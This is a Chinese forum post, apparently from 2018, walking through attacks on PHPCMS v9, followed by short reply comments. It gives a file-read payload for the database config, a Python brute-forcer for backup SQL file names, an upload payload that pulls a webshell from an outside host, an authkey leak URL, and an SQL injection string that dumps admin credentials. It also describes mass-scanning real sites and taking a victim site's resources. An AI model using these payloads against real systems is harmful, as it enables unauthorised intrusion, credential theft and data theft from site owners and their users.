用户
搜索
  • TA的每日心情

    2018-9-1 08:09
  • 签到天数: 39 天

    连续签到: 2 天

    [LV.5]常住居民I

    i春秋作家

    QQ547006660~欢迎交流

    Rank: 7Rank: 7Rank: 7

    18

    主题

    87

    帖子

    4758

    魔法币
    收听
    0
    粉丝
    6
    注册时间
    2017-1-18

    i春秋签约作者春秋文阁楚春秋游侠秦燕魏齐赵

    J0o1ey i春秋作家 QQ547006660~欢迎交流 i春秋签约作者 春秋文阁 楚 春秋游侠 秦 燕 魏 齐 楼主
    发表于 2018-8-10 13:34:36 17414208
    一、PHPCMS简介
           PHP CMS是国内领先的网站内容管理系统,同时也是一个开源的PHP开发框架,采用PHP5+MYSQL进行开发,拥有非常庞大的用户量。
           百度百科介绍其优点主要如下:
           ①功能强大
          ②模块化,开源,可扩展功能强大灵活
          ③支持自定义模型和字段负载能力强,支持千万级数据模板制作方便
          ④支持中文标签和万能标签进行数据调用拥有门户级的碎片功能,
          ⑤融入了人性化体验
          ⑥加强了安全机制   
          
          前五条我们无可厚非,因为PHPCMS的开发团队确实比较专业和优秀,但是就算他真的安全机制优秀,难道我们就拿他没办法了嘛?作为一名小学生,自然是不服,让我们今天来盘点一下PHPCMS v9这些年爆出来的常见漏洞~(鸡肋一些的漏洞在此就不介绍了,主要介绍一些比较凶残的)

    二、PHPCMS V9本地文件包含漏洞
    漏洞出现在如下文件:phpcms/modules/search/index.php
    代码如下:
    [PHP] 纯文本查看 复制代码
    public function public_get_suggest_keyword() {
                    $url = $_GET['url'].'&q='.$_GET['q'];
    
                    $res = @file_get_contents($url);
                    if(CHARSET != 'gbk') {
                            $res = iconv('gbk', CHARSET, $res);
                    }
                    echo $res;
            }

    本处大家会发现在使用file_get_contents函数时没有过滤get方式得到的m参数
    因此可以构造payload如下

    www.xxx.com/m=search&a=public_get_suggest_keyword&q=../../phpsso_server/caches/configs/database.php
    如果存在漏洞即可成功读取到phpcms的数据库配置文件,如图
    790a2a43-f178-4172-9d68-7cb149af1581-1.jpg
    如果目标的mysql服务对外网开启,则可以使用mysql连接程序直接脱裤
    利用用户表的管理员账号密码(phpcms的管理员密码是加盐再md5加密的,需要解密),使用默认后台
    www.xxx.com/admin.php]www.xxx.com/admin.php即可成功登录


    三、phpcms V9 sql备份文件名爆破
    参考文章:https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=35472&highlight=phpcms
    payload:/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/gv5dmx<<.sql
    我们知道windows的FindFirstFile(API)有个特性就是可以把<<当成通配符来用
    而PHP的opendir(win32readdir.c)就使用了该API。PHP的文件操作函数均调用了opendir,所以file_exists也有此特性。
    这个漏洞和前一阵子dedecms后台爆破如出一辙,api.php文件的$op变量决定用户的操作

    [PHP] 纯文本查看 复制代码
    # api.php
    <?php
    define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);
    include PHPCMS_PATH.'phpcms/base.php';
    ......
    $op = isset($_GET['op']) && trim($_GET['op']) ? trim($_GET['op']) : exit('Operation can not be empty');
    ......
    if (!preg_match('/([^a-z_]+)/i',$op) && file_exists(PHPCMS_PATH.'api/'.$op.'.php')) {
        include PHPCMS_PATH.'api/'.$op.'.php';
    ......
    ?>

    /api/creatimg.php文件中,使用了file_exists()函数判断$fontfile文件是否存在,文件存在和不存在的返回信息是不同的,而且$fontfile可以被用户控制,且未过滤.和/等符号,最终导致了漏洞发生。
    [PHP] 纯文本查看 复制代码
    # /api/creatimg.php
    <?php
    defined('IN_PHPCMS') or exit('No permission resources.'); 
    $txt = trim($_GET['txt']);
    if(extension_loaded('gd') && $txt ) {
        ......
        $fontfile = isset($_GET['font']) && !empty($_GET['font']) ? $fontpath.trim($_GET['font']) : $fontpath.'georgia.ttf';
        ......
        if(file_exists($fontfile)){
            //计算文本写入后的宽度,右下角 X 位置-左下角 X 位置
            $image_info = imagettfbbox($fontsize,0,$fontfile,$txt);
            $imageX = $image_info[2]-$image_info[0]+10;
            $imageY = $image_info[1]-$image_info[7]+5;
            ......


    爆破脚本如下:
    [PHP] 纯文本查看 复制代码
    #!/usr/bin/env python
    # coding=utf-8
    '''/*
        * author = Mochazz
        * team   = 红日安全团队
        * env    = pyton3
        *
        */
    '''
    import requests
    import itertools
    characters = "abcdefghjklmnopqrstuvwxyz0123456789_!#"
    backup_sql = ""
    payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<"
    url = "http://192.168.0.106"
    flag = 0
    for num in range(1,7):
        if flag:
            break
        for pre in itertools.permutations(characters,num):
            pre = ''.join(list(pre))
            payload = payload.format(location=pre)
            r = requests.get(url+payload)
            if r.status_code == 200 and "PNG" in r.text:
                flag = 1
                backup_sql = pre
                payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<"
                break
            else:
                payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<"
    print("[+] 前缀为:",backup_sql)
    flag = 0
    for i in range(30):
        if flag:
            break
        for ch in characters:
            if ch == characters[-1]:
                flag = 1
                break
            payload = payload.format(location=backup_sql+ch)
            r = requests.get(url + payload)
            if r.status_code == 200 and "PNG" in r.text:
                backup_sql += ch
                print("[+] ",backup_sql)
                payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<"
                break
            else:
                payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<"
    print("备份sql文件地址为:",backup_sql+".sql")
    效果如下:

    拿到SQL文件后,可以导入本地查看,后续操作这里不多加赘述

    四、PHPCMS前台上传getshell
    漏洞复现参考(https://www.hackersb.cn/hacker/219.html)

    漏洞复现的办法是先打开注册页面:
    www.xxx.com/index.php?m=member&c=index&a=register&siteid=1]www.xxx.com/index.php?m=member&c=index&a=register&siteid=

    然后向注册页面POST如下payload:
    siteid=1&modelid=11&username=123456&password=123456&email=123456@qq.com&info[content]=<img src=http://files.hackersb.cn/webshell/antSword-shells/php_assert.php#.jpg>&dosubmit=1&protocol=然后就会报错并返回shell地址:

    然后就可以连接啦。

    但我在实战测试过程中发现这个漏洞由于危害极大,基本上都已经被运维打补丁了,因此现在存在这个漏洞的站点并不是很多

    五、PHPCMS利用authkey泄露进行注入
    众所周和PHPCMS在拿到authkey(这边简称key吧),便有一大堆注入,在此给大家简单讲解一下
    首先分享一下爆出key的payload
    www.xxx.com/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin
    4(EBTE2)SA[AQ_`2`S8S[)Q.png
    如图中的XI0G8h0TYyWTwZMFIgN9nxHUN9Syymf便是我们所说的key
    拿到key后,我们该怎么办呢?
    我们这边使用一个名为a.php的exp(exp请回复后下载)
    大家可以使用phpstudy安装PHP环境
    用法:将a.php丢到phpstudy配置的网站根目录中
    访问url:
    http://localhost/a.php?url=你要测试的url(不要加http)&key=你得到的key&id=userid=1%20and%20(SELECT%201%20FROM(SELECT%20count(*),concat((SELECT(SELECT%20concat(0x7e,0x27,cast((substring((select+concat(0x7e,0x27,username,0x3a,+password,+0x3a,+encrypt,0x27,0x40,0x7e)+FROM+`v9_admin`+WHERE+1+limit+0,1),1,62))%20as%20char),0x27,0x7e))%20FROM%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20FROM%20information_schema.columns%20group%20by%20x)a)


    即可得到后台账号和密码,但是密码是加了salt的,大家可以去
    http://cmd.la进行解密,但是是要收费的,你懂得
    C`ZD0%CN8%FWA_65WSVQTWN.png
    然后使用解出的明文密码登录www.xxx.com/admin.php即可~

    六、利用fuzz框架批量检测PHPCMS漏洞
    我作为一名懒人,叫我一个个地手动检测漏洞是很不现实的,因此我选择使用test404的一款http fuzz框架实现批量检测
    简单地编写了一下上述漏洞的插件,采集url进行批量fuzz,效果还是很不错的
    如图是使用爆key插件的结果(还有很多了,不一一展示)
    这些爆出key的大部分都是存在SQL注入的
    6W~%)`M_Q6P_{SV]68~C{M4.png
    有时候还会有福利,搞到个美女图片站什么的,把资源全部打包爽歪歪。。。
    Cache_2341c5bb24f2e2f..jpg
    至于插件一类的,大家可以回复下载哈

    七、资源下载
    回复即可下载:http fuzzer+编写好的插件,利用key注入的exp(exp请把txt扩展名改为php)
    下载链接:
    游客,如果您要查看本帖隐藏内容请回复

    如果没有魔法币,请签到~
    链接:https://bbs.ichunqiu.com/plugin.php?id=dsu_paulsign:sign
    欢迎大家在i春秋支持下我的文章~


    本帖被以下淘专辑推荐:

    • · sc|主题: 48, 订阅: 1
    有培训需求或是技术交流需求的朋友可以联系我~QQ547006660
    J0o1ey i春秋作家 QQ547006660~欢迎交流 i春秋签约作者 春秋文阁 楚 春秋游侠 秦 燕 魏 齐
    推荐
    发表于 2018-8-13 17:22:28
    少侠 发表于 2018-8-12 11:52
    Fatal error: Class 'pc_base' not found in E:\BaiduYunDownload\H组渗透测试工具包\
    Tools\其他工具\PHP ...

    麻烦表哥看清楚用法再来使用和询问
    有培训需求或是技术交流需求的朋友可以联系我~QQ547006660
    使用道具 举报 回复
    Fatal error: Class 'pc_base' not found in E:\BaiduYunDownload\H组渗透测试工具包\
    Tools\其他工具\PHP运行环境\phpcms.php on line 54
    为什么不能运行
    使用道具 举报 回复
    如果没有魔法币,请签到~
    链接:https://bbs.ichunqiu.com/plugin.php?id=dsu_paulsign:sign
    欢迎大家在i春秋支持下我的文章~
    使用道具 举报 回复
    11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
    使用道具 举报 回复
    看看                  
    使用道具 举报 回复
    J0o1ey 发表于 2018-8-13 17:22
    麻烦表哥看清楚用法再来使用和询问

    小生愚钝,表哥见谅
    使用道具 举报 回复
    咔咔咔咔咔咔扩扩扩扩扩扩扩扩扩扩扩扩扩扩扩扩扩扩扩扩扩扩扩扩扩扩扩扩扩
    有一天他会突然觉得累了甚至忘了初衷 放弃了梦想也许因为年纪的关系奔波于现实 然后拉黑了网络认识的所有人或者说不用了一个号码换了一个QQ 那么记得他叫流光 这个网络他曾来过。
    使用道具 举报 回复
    http fuzzer+编写好的插件,利用key注入的exp(exp请把txt扩展名改为php)
    使用道具 举报 回复
    发表于 2018-8-10 14:58:15
    6666666666666666666666666666
    使用道具 举报 回复
    6666666666666666666666666666666666666666666
    使用道具 举报 回复
    发表于 2018-8-10 15:48:45
    提示: 作者被禁止或删除 内容自动屏蔽
    使用道具 举报 回复
    6666666666666
    使用道具 举报 回复
    laikanmka        
    使用道具 举报 回复
    发表于 2018-8-10 16:44:35
    我师傅好厉害。
    使用道具 举报 回复
    发表于 2018-8-10 16:45:30

    那就爽歪歪了
    使用道具 举报 回复
    发表于 2018-8-10 16:57:03
    http fuzzer+编写好的插件,利用key注入的exp
    使用道具 举报 回复
    发表于 2018-8-10 17:14:48
    请问下找phpcms有哪些关键字
    使用道具 举报 回复
    大表哥溜得飞起
    使用道具 举报 回复
    发表于 2018-8-10 17:29:11
    如何优雅地拿下PHPCMS
    使用道具 举报 回复
    发表于 2018-8-10 17:52:09
    111111111111111111111
    使用道具 举报 回复
    发表于 2018-8-10 19:34:22
    6666666666666
    使用道具 举报 回复
    发表于 2018-8-10 20:20:16
    学习一下
    使用道具 举报 回复
    您需要登录后才可以回帖 登录 | 立即注册